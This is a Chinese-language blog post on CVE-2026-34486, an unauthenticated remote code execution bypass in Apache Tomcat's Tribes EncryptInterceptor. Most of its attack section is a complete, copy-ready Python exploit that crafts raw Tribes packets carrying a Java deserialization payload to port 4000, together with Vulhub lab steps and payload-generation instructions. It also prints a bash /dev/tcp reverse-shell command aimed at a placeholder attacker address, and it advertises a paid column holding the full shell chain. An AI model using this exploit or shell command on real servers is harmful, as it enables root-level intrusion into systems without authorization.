Apache Tomcat CVE-2026-34486:一个请求就能RCE,但为什么90%的教程都没讲完?

该文章已生成可运行项目,

发生了什么?

前两天在 Vulhub 上看到一个 Tomcat 的新 CVE——CVE-2026-34486,看描述的时候我愣了一下。

Apache Tomcat 的 Tribes 集群通信框架里有个 EncryptInterceptor,本意是给集群消息加密用的。结果因为官方在修复上一个漏洞(CVE-2026-29146)时,在异常处理逻辑上留了个隐蔽的 Bug——当消息解密失败时,异常没有被正确抛出,后续流程没有中止

翻译成人话就是:加密功能还开着,但不加密的明文消息也能直接通过。

不需要解密密钥,不需要任何认证凭据,只要网络能连通 Tomcat 的 Tribes 接收端口(默认 4000),往里面扔一个 Java 反序列化 payload,服务器照单全收,命令落地。
在这里插入图片描述

上图是我在 Docker 靶场里复现时的截图——Root 权限,反弹Shell成功,服务器完全拿下了。

但这不是重点。重点是从漏洞验证到真正拿下 Shell,中间有一道门槛,绝大多数网上资料都没跨过去


有多严重?——POC验证

先看一下漏洞本身有多直接。

环境搭建:Vulhub 里一行命令搞定:

docker compose up -d

启动后两个端口:8080 是 Tomcat Web 服务,4000 是 Tribes 集群接收端口——也就是我们的攻击入口。
在这里插入图片描述

步骤1:生成反序列化 Payload

java-chains 工具,选 CommonsCollections6 利用链,填入命令 touch /tmp/success,点击导出,保存为 payload.ser

在这里插入图片描述

步骤2:通过 Tribes 协议发送

下面的 poc.py 封装了 Tribes 协议的二机制数据包格式——因为绕过的就是加密,所以直接构造原始 TCP 包,把序列化 payload 嵌入消息体后发往 4000 端口。

完整脚本如下,你可以直接复制使用:

#!/usr/bin/env python3
import argparse
import io
import socket
import struct
import sys
import time

HEADER = b"FLT2002"
FOOTER = b"TLF2003"
MEMBER_BEGIN = b"TRIBES-B\x01\x00"
MEMBER_END = b"TRIBES-E\x01\x00"


def build_member():
    p = io.BytesIO()
    p.write(struct.pack(">q", 0))
    p.write(struct.pack(">I", 4001))
    p.write(struct.pack(">I", 0))
    p.write(struct.pack(">I", 0))
    host = socket.inet_aton("127.0.0.1")
    p.write(struct.pack(">B", len(host)))
    p.write(host)
    p.write(struct.pack(">I", 0))
    p.write(struct.pack(">I", 0))
    p.write(b"\x00" * 16)
    p.write(struct.pack(">I", 0))
    body = p.getvalue()
    return MEMBER_BEGIN + struct.pack(">I", len(body)) + body + MEMBER_END


def build_packet(payload: bytes) -> bytes:
    b = io.BytesIO()
    b.write(struct.pack(">I", 0x0008))
    b.write(struct.pack(">Q", int(time.time() * 1000)))
    uuid = b"\x01" * 16
    b.write(struct.pack(">I", len(uuid)))
    b.write(uuid)
    member = build_member()
    b.write(struct.pack(">I", len(member)))
    b.write(member)
    b.write(struct.pack(">I", len(payload)))
    b.write(payload)
    data = b.getvalue()
    return HEADER + struct.pack(">I", len(data)) + data + FOOTER


def send(host: str, port: int, packet: bytes, timeout: float) -> None:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(timeout)
        s.connect((host, port))
        s.sendall(packet)
        s.shutdown(socket.SHUT_WR)
        try:
            s.recv(1)
        except (socket.timeout, OSError):
            pass


def parse_args():
    parser = argparse.ArgumentParser(
        description="CVE-2026-34486 - Tomcat Tribes EncryptInterceptor Bypass RCE",
    )
    parser.add_argument("-t", "--target", required=True, help="Tomcat Tribes receiver host")
    parser.add_argument("-p", "--port", type=int, default=4000)
    parser.add_argument("-f", "--file", required=True, help="Path to serialized payload file")
    parser.add_argument("--timeout", type=float, default=3.0)
    return parser.parse_args()


def main():
    args = parse_args()
    try:
        with open(args.file, "rb") as f:
            payload = f.read()
    except OSError as e:
        print(f"[!] Failed to read payload file: {e}")
        sys.exit(1)

    print(f"[*] Target: {args.target}:{args.port}  Payload: {args.file}")
    packet = build_packet(payload)
    print(f"[+] Payload: {len(payload)}B  Packet: {len(packet)}B")

    try:
        send(args.target, args.port, packet, args.timeout)
    except OSError as e:
        print(f"[!] Send failed: {e}")
        sys.exit(1)
    print("[+] Sent!")


if __name__ == "__main__":
    main()

运行:

python3 poc.py -t your-ip -p 4000 -f payload.ser

在这里插入图片描述

回到容器验证——/tmp/success 已创建,EncryptInterceptor 的加密保护被完全绕过了。

在这里插入图片描述

到这里,漏洞验证完毕。POC 本身不复杂——生成 payload、发送、执行。没有认证,没有密钥,一个请求搞定。


真正的门槛在哪?

你可能会想:既然能执行 touch /tmp/success,那反弹Shell不就是把命令换一下的事吗?

touch /tmp/success 换成 bash -i >& /dev/tcp/攻击IP/端口 0>&1,重新生成 payload,发送——

然后你会发现,nc 监听纹丝不动,什么也没收到。

这就是大多数教程停下来的地方。问题出在 Java 的 Runtime.exec() 工作机制上——它不经过 Shell 解释器,而是直接把命令按空格拆成参数数组,调用操作系统的进程创建 API。>& 重定向、/dev/tcp 设备文件,这些 Bash 的专属特性在 exec 层面根本没有意义,被当成普通字符串传给了子进程。

换句话说,这条命令在 Java 反序列化的环境下,根本就不会按你想象的方式执行。

从 POC 到 GetShell,中间隔着一层编码绕过的障碍。我在这个问题上卡了好几天,试了三种思路才绕过去。


如果你想走完这条路

我把从环境搭建到最终反弹Shell的完整过程——包括每一次试错、每一次失败的排查思路、最终绕过方案的原理拆解,以及一个一键利用脚本——都整理在了付费专栏里。

本篇文章完整版详见 :【GetShell 实战】CVE-2026-34486 Tomcat 加密拦截器绕过:从漏洞验证到反弹 Shell 全流程 👉点击直达

视频演示反弹shell:Tomcat 这个洞太离谱了!CVE-2026-34486 Tomcat Tribes 漏洞反弹 Shell复现👉点击直达

专栏的名字叫 高危漏洞深度利用—零基础GetShell的全链路实战指南,👉点击直达。核心就是不止于 POC 复现,每篇文章必须走到拿下服务器。如果你不想自己从头踩一遍编码绕过的坑,可以翻翻。

复现过程中有问题直接评论区留言,我看到了会回。


本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境。请遵守《中华人民共和国网络安全法》。技术本身没有好坏,关键在于是谁在用、用来做什么。

本文章已经生成可运行项目
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

光跃Eason

坚持下去,谢谢你的鼓励!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值